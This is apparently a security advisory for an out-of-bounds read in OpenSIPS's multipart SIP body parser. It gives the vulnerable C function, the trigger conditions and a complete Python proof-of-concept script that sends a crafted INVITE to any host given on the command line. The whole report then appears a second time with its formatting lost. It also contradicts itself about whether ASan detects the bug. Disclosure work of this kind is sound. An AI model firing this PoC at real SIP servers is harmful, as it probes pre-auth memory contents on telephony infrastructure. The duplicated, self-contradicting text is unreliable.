Target: OpenSIPS is the most widely deployed open-source SIP server, handling VoIP call routing, presence, and messaging for telecom carriers, UCaaS providers, and enterprise PBX deployments. It processes millions of SIP transactions per day in production environments including carrier-grade networks, WebRTC gateways, and IMS cores. A vulnerability in its SIP message processing directly impacts telephony infrastructure availability.
Summary
The find_line_delimiter() function in the multipart body parser performs an out-of-bounds read via strncmp() when searching for MIME boundary delimiters. After finding a -- pattern near the end of the body, the function compares delimiter.len bytes starting from a position that can be at or past the logical end of the body buffer. This reads up to delimiter.len bytes (typically 20-70 bytes) past the body boundary.
Vulnerable Code
File: parser/parse_body.c, lines 119-148
static char *find_line_delimiter(char* p, char* plimit, str delimiter)
{
static char delimiterhead[3] = "--";
char *cp, *cp1;
/* Iterate through body */
cp = p;
for (;;) {
if (cp >= plimit)
return NULL;
for(;;) {
cp1 = l_memmem(cp, delimiterhead, plimit-cp, 2);
if (cp1 == NULL)
return NULL;
/* We matched '--',
* now let's match the boundary delimiter */
if (strncmp(cp1+2, delimiter.s, delimiter.len) == 0) // BUG
break;
else
cp = cp1 + 2 + delimiter.len;
if (cp >= plimit)
return NULL;
}
if (cp1[-1] == '\n' || cp1[-1] == '\r')
return cp1;
if (plimit - cp1 < 2 + delimiter.len)
return NULL;
cp = cp1 + 2 + delimiter.len;
}
}
Data Flow
-
Network Input: Attacker sends a SIP message with a Content-Type: multipart/mixed; boundary=XXXX header and a crafted body.
-
Boundary Search: l_memmem(cp, delimiterhead, plimit-cp, 2) searches for -- within [cp, plimit-2]. When cp1 = plimit-2, then cp1+2 = plimit (one byte past the body).
-
OOB Read: strncmp(cp1+2, delimiter.s, delimiter.len) reads delimiter.len bytes starting from plimit. Since plimit = body.s + body.len, this reads past the logical end of the SIP body into whatever follows in the receive buffer.
-
Read Range: The boundary delimiter in MIME is typically 20-70 characters. The OOB read extends delimiter.len bytes past the body boundary.
Trigger Condition
The bug triggers when:
- The SIP message has
Content-Type: multipart/mixed with a boundary parameter
- The message body contains
-- near the end of the body, but NOT followed by the actual boundary delimiter
- Specifically,
-- must appear at position plimit-2 or plimit-3 (within 2-3 bytes of the body end)
Example crafted body (with boundary "myboundary"):
--myboundary\r\n
Content-Type: text/plain\r\n
\r\n
body content--
The trailing -- at the very end causes l_memmem to find it at plimit-2, and then strncmp reads 10 bytes ("myboundary") starting from plimit.
Impact
OOB read of up to delimiter.len bytes (typically 20-70) past the body boundary. The strncmp result determines boundary-matching behavior, creating a single-bit oracle (match/no-match) on post-body buffer contents. On TCP connections, the receive buffer may contain data from subsequent SIP messages, so the oracle operates on cross-message data. If the body ends near the end of the allocated buffer and delimiter.len is large, the read extends past the allocation boundary.
Attack Vector
- Pre-auth: Triggers during SIP body parsing before any authentication check.
- Network-accessible: SIP over UDP or TCP, port 5060 (default).
- Config-dependent: The multipart parser is invoked when any routing logic accesses the SIP body. This includes
has_body(), sip_to_json(), SDP processing (rtpengine, nathelper), $rb pseudo-variable access, and get_body_part(). Any VoIP deployment processing INVITE bodies for media handling triggers this path.
- Single packet: One SIP message with a crafted multipart body is sufficient.
PoC
Send a SIP INVITE with Content-Type: multipart/mixed;boundary=<60-char-boundary> and a body where -- appears at the very end without being followed by the boundary string. The strncmp() reads boundary.len bytes past the body end.
Note: ASan cannot detect this OOB read because it stays within the 65,536-byte SIP receive buffer allocation. The read extends past the logical body boundary but not past the underlying memory allocation.
See poc-multipart-oob-read.py.
import socket
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5060
# Use a long boundary to maximize OOB read distance
boundary = "A" * 60
# Build the multipart body:
# 1. Valid first boundary + part
# 2. Body content ending with '--' right at the body end
# The '--' at the end triggers the OOB strncmp
body = (
f"--{boundary}\r\n"
f"Content-Type: text/plain\r\n"
f"\r\n"
f"test body content\r\n"
f"--{boundary}--\r\n"
# Now add a fake part that ends with -- right at the limit
# Actually, the simpler approach: craft body so '--' appears
# at the very end without being followed by the boundary
# This causes strncmp to read past the body
)
# Better approach: body that has '--' as the very last 2 bytes
# but NOT followed by the boundary (so strncmp reads OOB)
body2 = (
f"--{boundary}\r\n"
f"Content-Type: text/plain\r\n"
f"\r\n"
f"payload data here\r\n"
f"--{boundary}\r\n"
f"Content-Type: text/plain\r\n"
f"\r\n"
f"second part--" # '--' at body end, NOT followed by boundary
)
invite = (
f"INVITE sip:test@{TARGET} SIP/2.0\r\n"
f"Via: SIP/2.0/UDP {TARGET}:{PORT};branch=z9hG4bK-poc-multipart-oob\r\n"
f"From: <sip:attacker@{TARGET}>;tag=poc-multipart-001\r\n"
f"To: <sip:test@{TARGET}>\r\n"
f"Call-ID: poc-multipart-oob@{TARGET}\r\n"
f"CSeq: 1 INVITE\r\n"
f"Max-Forwards: 70\r\n"
f"Content-Type: multipart/mixed;boundary={boundary}\r\n"
f"Content-Length: {len(body2)}\r\n"
f"\r\n"
f"{body2}"
)
print(f"[*] OpenSIPS 3.6.4 - Multipart Boundary OOB Read PoC")
print(f"[*] Target: {TARGET}:{PORT} (UDP)")
print(f"[*] Boundary length: {len(boundary)} bytes")
print(f"[*] Body ends with '--' (not followed by boundary)")
print(f"[*] strncmp will read {len(boundary)} bytes past body end")
print()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(3)
print(f"[*] Sending SIP INVITE with multipart body ({len(body2)} bytes)...")
sock.sendto(invite.encode(), (TARGET, PORT))
try:
resp, addr = sock.recvfrom(4096)
first_line = resp.decode(errors="replace").split("\r\n")[0]
print(f"[+] Response: {first_line}")
except socket.timeout:
print(f"[-] No response (timeout). Check ASan logs.")
sock.close()
print(f"[*] Done. Check OpenSIPS logs for ASan heap-buffer-overflow READ report.")
Target: OpenSIPS is the most widely deployed open-source SIP server, handling VoIP call routing, presence, and messaging for telecom carriers, UCaaS providers, and enterprise PBX deployments. It processes millions of SIP transactions per day in production environments including carrier-grade networks, WebRTC gateways, and IMS cores. A vulnerability in its SIP message processing directly impacts telephony infrastructure availability.
Summary
The
find_line_delimiter()function in the multipart body parser performs an out-of-bounds read viastrncmp()when searching for MIME boundary delimiters. After finding a--pattern near the end of the body, the function comparesdelimiter.lenbytes starting from a position that can be at or past the logical end of the body buffer. This reads up todelimiter.lenbytes (typically 20-70 bytes) past the body boundary.Vulnerable Code
File:
parser/parse_body.c, lines 119-148Data Flow
Network Input: Attacker sends a SIP message with a
Content-Type: multipart/mixed; boundary=XXXXheader and a crafted body.Boundary Search:
l_memmem(cp, delimiterhead, plimit-cp, 2)searches for--within[cp, plimit-2]. Whencp1 = plimit-2, thencp1+2 = plimit(one byte past the body).OOB Read:
strncmp(cp1+2, delimiter.s, delimiter.len)readsdelimiter.lenbytes starting fromplimit. Sinceplimit = body.s + body.len, this reads past the logical end of the SIP body into whatever follows in the receive buffer.Read Range: The boundary delimiter in MIME is typically 20-70 characters. The OOB read extends
delimiter.lenbytes past the body boundary.Trigger Condition
The bug triggers when:
Content-Type: multipart/mixedwith a boundary parameter--near the end of the body, but NOT followed by the actual boundary delimiter--must appear at positionplimit-2orplimit-3(within 2-3 bytes of the body end)Example crafted body (with boundary "myboundary"):
The trailing
--at the very end causesl_memmemto find it atplimit-2, and thenstrncmpreads 10 bytes ("myboundary") starting fromplimit.Impact
OOB read of up to
delimiter.lenbytes (typically 20-70) past the body boundary. Thestrncmpresult determines boundary-matching behavior, creating a single-bit oracle (match/no-match) on post-body buffer contents. On TCP connections, the receive buffer may contain data from subsequent SIP messages, so the oracle operates on cross-message data. If the body ends near the end of the allocated buffer anddelimiter.lenis large, the read extends past the allocation boundary.Attack Vector
has_body(),sip_to_json(), SDP processing (rtpengine, nathelper),$rbpseudo-variable access, andget_body_part(). Any VoIP deployment processing INVITE bodies for media handling triggers this path.PoC
Send a SIP INVITE with
Content-Type: multipart/mixed;boundary=<60-char-boundary>and a body where--appears at the very end without being followed by the boundary string. Thestrncmp()readsboundary.lenbytes past the body end.Note: ASan cannot detect this OOB read because it stays within the 65,536-byte SIP receive buffer allocation. The read extends past the logical body boundary but not past the underlying memory allocation.
See
poc-multipart-oob-read.py.